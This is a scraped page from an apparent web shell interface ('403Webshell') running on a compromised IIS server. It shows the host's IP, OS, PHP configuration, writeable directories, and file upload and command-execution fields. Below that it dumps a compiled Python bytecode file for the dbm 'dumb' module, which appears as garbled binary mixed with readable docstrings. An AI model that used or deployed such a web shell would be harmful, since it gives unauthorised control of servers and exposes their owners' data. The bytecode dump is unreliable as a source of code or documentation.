403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.70
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/dbm/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/dbm/__pycache__/dumb.cpython-315.pyc
R
>lqj�2c��Qs]PHs]PHs]PHs]PHsQQ,s	Qs
\sQQ\OO2sQQksP!)a�A dumb and slow but simple dbm clone.

For database spam, spam.dir contains the index (a text file),
spam.bak *may* contain a backup of the index (also a text file),
while spam.dat contains the data (a binary file).

XXX TO DO:

- seems to contain a bug when updating...

- reclaim free space (currently, space once occupied by deleted or expanded
items is not reused except if .reorganize() is called)

- support concurrent access (currently, if two processes take turns making
updates, they can mess up the index)

- support efficient access to large databases (currently, the whole index
is read when the database is opened, and some updates rewrite the whole index)

�error�open�c�`�\sQs]!sn\s\sQQksQsQsQs	\	s
QsQsQs
QsQ	sQ
sQsQsQ
sQsQs\sQsQs\sQsQsQsQsQsUsP!)�	_Databasec��UOOU2oV mUQ6HUmUQ*UmUQ*UmUQ*UmPUmUOU2UOU2P!)�rs.dirs.dats.bak)
�_os�fsencode�_mode�	_readonly�_dirfile�_datfile�_bakfile�_index�_create�_update)�self�filebasename�mode�flags&&&&�C:\Python315\\Lib\dbm\dumb.py�__init__�_Database.__init__.sq���x�x�(�(��6���
��#�+���%�w�.��
�%�w�.��
�$�w�.��
����	
���T�����T��c�"�UQ6XcCUOUOUO1FDo[OU2J	[OUOQQQ5oUO2P![
cJbh9h[
cqSQ7cg[OSOQQQ59^tt^2oSOSO2PPP2P!)%fhP!9hh9h)�nr�Latin-1��encoding�w��cr)
r
rrr�remove�OSError�_ior�close�_chmod)rr�filename�fs&&  rr�_Database._createHs����3�;�!�]�]�D�M�M�4�=�=�I����J�J�x�(�J�	��������i�@�A�
�G�G�I�������
�	+��:�%�����$�-�-��y�A�A�Q����D�M�M�*�B�A�A�A��	+�sS�B�#B�	B�B�B�	D�D�%,D�C8�-D�8D
�D
�D�
Dc�b�P
Um-Um[OUOQQQ5oS9^tt^2SFDJoUO2o[OU2vqEUOQ2oVPOU$JL	PPP2P!)%fhP!9h[cvSQ7cgSOOSOQQQ59^tt^2oSOSO2PPP2P!)%fhP!9hh9h)Frrrrr )�	_modifiedrr$rr�rstrip�_ast�literal_eval�encoder#r&)rrr(�line�key�pos_and_siz_pairs&&    rr�_Database._update[s���������
	8��������i�@�A����D��;�;�=�D�,0�,=�,=�d�,C�)�C��*�*�Y�/�C�'7�K�K��$�	������
�	+��:�%�������t�}�}�c�I��F�F�!����D�M�M�*�G�F�F�F��	+�sM�#B.�AB�B+	�#B+	�.	D.�8D.�1D.�1D�
D.�D*�!D*�#D.�*D.c��UOdUO%fP!UOOUO2UOO
UOUO2UOOUOQQQ59^tt^2oUOUO2UOO2FD/vq#UOQ28QU8Q0oUOU2J1	PPP2P
UmP![
cK�h9h[
cK�h9h)%fhK;9h)Nrrr�, �
)rr+r�unlinkrr#�renamerr$rr&�items�decode�write)rr(r1r2�entrys&    r�_commit�_Database._commitps����;�;��d�n�n�n��	��H�H�O�O�D�M�M�*�	��H�H�O�O�D�M�M�4�=�=�9��X�X�]�]�4�=�=�#�	�]�
B�
B�a��K�K��
�
�&�)-���):�):�)<�%��'*�j�j��&;�=M�N�������	*=�C������	��	��
�	��	��C�
B�sB�%D&�0D7�+A*E�&	D4�0D4�3D4�7	E�E�E�E	�E	c�:�UOe[Q2gP!)N�"DBM object has already been closed)rr�rs&r�_verify_open�_Database._verify_open�s���;�;���<�=�=�rc�p�[U[2%cUOQ2oUO2UOU*vq#[
OUOQ29^tt^2oUOU2UOU2oPPP2U!)%fhW!9h)�utf-8�rb)
�
isinstance�strr/rBrr$rr
�seek�read)rr1�pos�sizr(�dats&&    r�__getitem__�_Database.__getitem__�s����c�3����*�*�W�%�C������;�;�s�#���
�X�X�d�m�m�T�
*�
*�a�
�F�F�3�K��&�&��+�C�+��
�+�
*��
�s�7#B$�$B5	�-B5	c��[OUOQ29^tt^2oUO]]2[	UO22oU[*]*
[*[*oUOQVC*
*2SoUOU2PPP2W[U21!)%fhK9h)�rb+�)	r$rr
rI�int�tell�
_BLOCKSIZEr;�len)r�valr(rK�nposs&&   r�_addval�_Database._addval�s���
�X�X�d�m�m�U�
+�
+�q�
�F�F�1�a�L��a�f�f�h�-�C��:�%��)�j�8�J�F�D�
�G�G�E�4�8�$�%��C�
�G�G�C�L�
,��S��X���,�
+�s�BC�C	�C	c���[OUOQ29^tt^2oUOU2UO	U2PPP2U[U21!)%fhK9h)rQ)r$rr
rIr;rV)rrKrWr(s&&& r�_setval�_Database._setval�sM��
�X�X�d�m�m�U�
+�
+�q�
�F�F�3�K�
�G�G�C�L�,��S��X���,�
+�s�#A#�#A3	�,A3	c�:�V OU$[OUOQQQ59^tt^2oUO	UO2UOUO
Q28QU8Q02PPP2P!)%fhP!9h)�arrr5r6)rr$rrr&r;r:)rr1r2r(s&&& r�_addkey�_Database._addkey�sa��+���C��
�X�X�d�m�m�S�9�
=�
=���K�K��
�
�&�
�G�G�#�*�*�Y�"7�9I�J�K�>�
=�
=�
=�s�AB	�	B	�B	c�P�UO%c[Q2g[U[2%cUO	Q2oL'[U[
[12%f[Q2g[U[2%cUO	Q2oL'[U[
[12%f[Q2gUO2P	Um	VO7c#UOVOU22P!UOU*vq4U[*]*
[*o[U2[*]*
[*oVe6:c!UOV22UOU$P!UOU2UOU$P!)�'The database is opened for reading onlyrEzkeys must be bytes or stringszvalues must be bytes or strings)rrrGrHr/�bytes�	bytearray�	TypeErrorrBr+rr`rYrUrVr\)rr1rWrKrL�	oldblocks�	newblockss&&&    r�__setitem__�_Database.__setitem__�s/���>�>�>��A�B�B��c�3����*�*�W�%�C��C�%��!3�4�4��;�<�<��c�3����*�*�W�%�C��C�%��!3�4�4��=�>�>���������k�k�!��L�L��l�l�3�/�0��{�{�3�'�H�C��z�)�A�-�*�<�I��S��J�.��2�z�A�I��%�#'�<�<��#9����C� �
$(�<�<��#4����C� rc��UO%c[Q2g[U[2%cUO	Q2oUO2P	UmUOUUO2P!)rcrE)	rrrGrHr/rBr+rr=�rr1s&&r�__delitem__�_Database.__delitem__�s\���>�>�>��A�B�B��c�3����*�*�W�%�C���������K�K���
	
���rc�f�[UO2![c[Q2Pgh9h�r@)�listrrfrrAs&r�keys�_Database.keys��6��	H�����$�$���	H��<�=�4�G�	H����	0�0c��UO2UOO2Tt,tFDpV*1MJ	to!ttoh�N)rBrrrrls& rr9�_Database.items�s:������,0�K�K�,<�,<�,>�?�,>�S�d�i� �,>�?�?��?s�Ac���[U[2%cUOQ2oVO7![cSOe
[Q2Pggh9h)rEr@)rGrHr/rrfrrls&&r�__contains__�_Database.__contains__�sY���c�3����*�*�W�%�C�	��+�+�%�%���	��{�{�"��@�A�t�K��		�s�
8�	A�A�Ac�f�[UO2![c[Q2Pgh9hrp)�iterrrfrrAs&r�iterkeys�_Database.iterkeysrtruc�f�[UO2![c[Q2Pgh9hrp)rVrrfrrAs&r�__len__�_Database.__len__s6��	H��t�{�{�#�#���	H��<�=�4�G�	H�ruc��UO2P9Um9Um9UmUmP!P9Sm9Sm9SmSmh9hrw)r=rr
rrrAs&rr%�_Database.closesJ��	O��L�L�N�JN�N�D�K�N�$�-�N�$�-�$�-��$�N�D�K�N�$�-�N�$�-�$�-�s	�1�Ac�R�UOOVO2P!rw)r�chmodr
)r�files&&rr&�_Database._chmods�������t�Z�Z�(rc��U!rw�rAs&r�	__enter__�_Database.__enter__s���rc�(�UO2P!rw)r%)r�argss&*r�__exit__�_Database.__exit__s���
�
�rc��`�RO%c[Q2gRO2RO2[O
ROQ29^tt^2o]o[ROU1QkQ5FD�oROU*vqEUOU2UOU2oUOU2UOU2V%1ROU$U[*]*
[*oV'[**
oJ�	UOU2PPP2RO2P!)%fhK"9h)rcrQc�::�ROU*]*!)�)r)�krs&�r�<lambda>�&_Database.reorganize.<locals>.<lambda>-s���4�;�;�q�>�!�;Lr)r1)rrrBr=r$rr
�sortedrrIrJr;rU�truncate)rr(�reorganize_posr1rKrLrW�blocks_occupiedsf       r�
reorganize�_Database.reorganize"s�����>�>�>��A�B�B���������
�X�X�d�m�m�U�
+�
+�q��N��d�k�k�1L�M�M���;�;�s�+������s���f�f�S�k�����~�&������$2�#8����C� �#&��#3�a�#7�J�"F���J�">�>��N�
�J�J�~�&�!,�$	
����%,�
+�s�)CE�E%	�E%	)rr
rrr
r+r)r!) �__name__�
__module__�__qualname__�__firstlineno__rr$rrrr=�syncrBrNrYr\r`rirmrrr9rzr~�__iter__r�r%�__del__r&r�r�r��__static_attributes__�__classdictcell__)�
__classdict__s@rrr!s������C�

�C��4�&8�*�4�D�>����L�5�J
�H�@�	�H�
�H�H�O��G�)����rrc���[O]2o[OU2V#&*oUQ7c[Q2g[	VUQ5![cK,h9h)a!Open the database file, filename, and return corresponding object.

The flag argument, used to control how the database is opened in the
other DBM implementations, supports only the semantics of 'c' and 'n'
values.  Other values will default to the semantics of 'c' value:
the database will always opened for update and will be created if it
does not exist.

The optional mode argument is the UNIX mode of the file, used only when
the database has to be created.  It defaults to octal code 0o666 (and
will be modified by the prevailing umask).

z)Flag must be one of 'r', 'w', 'c', or 'n')r)rrr!r)r�umask�AttributeError�
ValueErrorr)r�rr�ums&&& rrr?s`�� �
�Y�Y�q�\���	�	�"�
�
�s�|���'�'��D�E�E��T�d�+�+���
��
�s�,A�	A%�!A%�$A%)r!�)�__doc__�astr-�ior$�osr�collections.abc�collections�__all__rUr#r�abc�MutableMappingrrr�rr�<module>r�sJ���*�����F�
��
�
���Z����.�.�Z�|,r

Youez - 2016 - github.com/yon3zu
LinuXploit